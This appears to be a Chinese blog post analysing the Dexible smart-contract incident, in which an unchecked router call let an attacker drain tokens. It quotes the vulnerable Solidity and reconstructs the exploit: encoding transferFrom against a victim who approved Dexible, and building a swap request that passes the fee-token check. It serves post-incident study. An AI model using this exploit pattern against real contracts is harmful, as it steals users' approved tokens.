Dexible任意代码执行漏洞分析

说明

任意代码执行前面也通过Phoenix合约进行了简单的讲解,下面就继续以最近发生的Dexible的任意代码执行漏洞进行介绍。

基本信息

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// Dexible.sol
function selfSwap(SwapTypes.SelfSwap calldata request) external notPaused {
//we create a swap request that has no affiliate attached and thus no
//automatic discount.
SwapTypes.SwapRequest memory swapReq = SwapTypes.SwapRequest({
executionRequest: ExecutionTypes.ExecutionRequest({
fee: ExecutionTypes.FeeDetails({
feeToken: request.feeToken,
affiliate: address(0),
affiliatePortion: 0
}),
requester: msg.sender
}),
tokenIn: request.tokenIn,
tokenOut: request.tokenOut,
routes: request.routes
});
SwapMeta memory details = SwapMeta({
feeIsInput: false,
isSelfSwap: true,
startGas: 0,
preSwapVault: address(DexibleStorage.load().communityVault),
bpsAmount: 0,
gasAmount: 0,
nativeGasAmount: 0,
toProtocol: 0,
toRevshare: 0,
outToTrader: 0,
preDXBLBalance: 0,
outAmount: 0,
inputAmountDue: 0
});
details = this.fill(swapReq, details);
postFill(swapReq, details, true);
}

// SwapHandler.sol
function fill(SwapTypes.SwapRequest calldata request, SwapMeta memory meta) external onlySelf returns (SwapMeta memory) {

preCheck(request, meta); // 没有校验 request.routes[i].routerData
meta.outAmount = request.tokenOut.token.balanceOf(address(this));

for(uint i=0;i<request.routes.length;++i) {
SwapTypes.RouterRequest calldata rr = request.routes[i];
IERC20(rr.routeAmount.token).safeApprove(rr.spender, rr.routeAmount.amount);
(bool s, ) = rr.router.call(rr.routerData);

if(!s) {
revert("Failed to swap");
}
}
uint out = request.tokenOut.token.balanceOf(address(this));
if(meta.outAmount < out) {
meta.outAmount = out - meta.outAmount;
} else {
meta.outAmount = 0;
}

console.log("Expected", request.tokenOut.amount, "Received", meta.outAmount);
//first, make sure enough output was generated
require(meta.outAmount >= request.tokenOut.amount, "Insufficient output generated");
return meta;
}

library SwapTypes {

/**
* Individual router called to execute some action. Only approved
* router addresses will execute successfully
*/
struct RouterRequest {
//router contract that handles the specific route data
address router;

//any spend allowance approval required
address spender;

//the amount to send to the router
TokenTypes.TokenAmount routeAmount;

//the data to use for calling the router
}
}

function preCheck(SwapTypes.SwapRequest calldata request, SwapMeta memory meta) internal {
//make sure fee token is allowed
address fToken = address(request.executionRequest.fee.feeToken);
DexibleStorage.DexibleData storage dd = DexibleStorage.load();
require(
dd.communityVault.isFeeTokenAllowed(fToken),
"Fee token is not allowed"
);

//and that it's one of the tokens swapped
require(fToken == address(request.tokenIn.token) ||
fToken == address(request.tokenOut.token),
"Fee token must be input or output token");

//get the current DXBL balance at the start to apply discounts
meta.preDXBLBalance = dd.dxblToken.balanceOf(request.executionRequest.requester);

//flag whether the input token is the fee token
meta.feeIsInput = address(request.tokenIn.token) == address(request.executionRequest.fee.feeToken);

//transfer input tokens for router so it can perform swap
//console.log("Transfering input for trading:", request.routes[0].routeAmount.amount);
request.tokenIn.token.safeTransferFrom(request.executionRequest.requester, address(this), request.routes[0].routeAmount.amount);
//console.log("Expected output", request.tokenOut.amount);
}

其中核心漏洞代码是rr.router.call(rr.routerData)

整个数据流的过程如下:

因为整个数据流中的routerrouterData都是可控的。所以攻击者只需要找到合适的routerrouterData,就可以调用对应router合约中的任意方法。

至于如何利用这个漏洞函数获利,下面就是具体看攻击者的攻击方法了。

攻击分析

TRU

在进行攻击之前,攻击者需要找到一个合适的router,最终通过rr.router.call(rr.routerData)执行router中的任意代码。

在本例中攻击找的是 TRU 这个合约。这个合约是一个普通的ERC20的合约。

部分用户会将自己的代币approve给Dexible,攻击者就是找到了一个TRU代币,有用户将TRU代币approve给Dexible,攻击者最终通过任意代码执行就获得了用户授权给Dexible的代币。

找到一个受害者并并确定可以获取到代币数量。

1
2
3
4
5
6
address victim = 0x58f5F0684C381fCFC203D77B2BbA468eBb29B098;
USDC.approve(address(Dexible), type(uint256).max);
uint256 transferAmount = TRU.balanceOf(victim);
if (TRU.allowance(victim, address(Dexible)) < transferAmount) {
transferAmount = TRU.allowance(victim, address(Dexible));
}

攻击者找到的受害者是0x58f5F0684C381fCFC203D77B2BbA468eBb29B098,计算出来可以获得的transferAmount是:1796093750000000

callDatas

接下来就是构造任意代码执行中得callDatas。对应于代码中得:

1
rr.router.call(rr.routerData);

攻击者的最终目的就是将受害者(0x58f5F0684C381fCFC203D77B2BbA468eBb29B098)授权在Dexible中的TRU代币全部转移走。所以对应的最终需要执行的就是transferFrom()函数,如下:

1
bytes memory callDatas = abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), transferAmount);

RouterRequest

构造完了整个的核心攻击的payload(routerData)之后,接下来就是构造整个请求需要的SwapTypes.SelfSwap。构造过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
TokenTypes.TokenAmount memory routeAmounts = TokenTypes.TokenAmount({amount: 0, token: address(TRU)});
TokenTypes.TokenAmount memory tokenIns = TokenTypes.TokenAmount({amount: 14_403_789, token: address(USDC)});
TokenTypes.TokenAmount memory tokenOuts = TokenTypes.TokenAmount({amount: 0, token: address(USDC)});
SwapTypes.RouterRequest[] memory route = new SwapTypes.RouterRequest[](1);
route[0] = SwapTypes.RouterRequest({
router: address(TRU),
spender: address(Dexible),
routeAmount: routeAmounts,
routerData: callDatas
});
SwapTypes.SelfSwap memory requests =
SwapTypes.SelfSwap({feeToken: address(USDC), tokenIn: tokenIns, tokenOut: tokenOuts, routes: route});

需要注意的是,在SelfSwap中的feeToken: address(USDC)。所以需要保证request.tokenIn.token或者request.tokenOut.token也是USDC。是因为在后面的preCheck()函数中存在如下的校验:

1
2
3
4
//and that it's one of the tokens swapped
require(fToken == address(request.tokenIn.token) ||
fToken == address(request.tokenOut.token),
"Fee token must be input or output token");

Attack

当最终调用SwapTypes.SelfSwap()整个的攻击流程如下:

最终通过层层调用,最终执行了TRU.transferFrom(sender=Victim,recipient=Attacker,amount=1796093750000000)

相当于是攻击者获取了数据量为1796093750000000的TRU代币。

查看实际的攻击调用栈关系如下:

获利

按照这次的攻击计算,攻击者总计获得获取了数据量为1796093750000000的TRU代币。

虽然本次攻击者只获得了1796093750000000的TRU代币,但是攻击者按照这个思路继续攻击了授权给了Dexible的其他受害者,最终获利金额大约是1.5M

总结

总体来说,这个漏洞的原理和攻击手法非常的简单。Dexible存在一个任意代码执行的漏洞,对于目标合约和代码都可以任意指定。攻击者通过调用了授权给Dexible的代币的transferFrom()方法,将攻击者所有的代币全部转移走了。

这个漏洞和这种攻击手法历史上也出现了很多次,对于普通用户来说,当对一个陌生合约进行授权时,要额外小心。

参考

https://twitter.com/peckshield/status/1626493024879673344

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/03/12/Dexible-Arbitrary-External-Call-Vulnerability/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow